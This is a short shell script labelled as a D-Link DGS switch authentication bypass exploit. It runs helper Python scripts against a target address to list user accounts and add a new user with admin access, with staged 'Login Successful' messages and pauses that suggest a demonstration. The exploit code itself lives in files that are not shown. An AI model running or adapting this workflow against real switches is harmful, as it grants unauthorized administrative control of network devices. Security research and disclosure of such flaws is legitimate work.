echo " #################################################################### # dlink-auth.sh # # D-link DGS Authentication Bypass 0-day # # Exploit By : connection # # By : Varang Amin & Aditya Sood # ##################################################################### " echo "gitlab test 12" echo "Steps\n 1. Collect The User Info From DGS Vulnerable Switch 2. Add a user name dlinktest into DGS swith 3. Collect The User Info & verify the new dlinktest user added with Admin Access" sleep 10s echo "Login Successful\n" echo "Collecting User Account Information\n" user_data=`python get-user-info.py $1` echo "\n" echo "$user_data\n" | grep -E "^\[.*" echo "\n" sleep 10s echo "\n" echo "Let's Do Authentication Bypass & Add User Name With ADMIN Access\n" sleep 10s echo "\n" echo "Login Successful\n" sleep 5s python user_add.py $1 sleep 10s echo "New User Account Created With Admin Access\n" sleep 10s echo "Collecting User Account Information\n" user_data=`python get-user-info.py $1` echo "$user_data\n" | grep -E "^\[.*" echo "\n" sleep 10s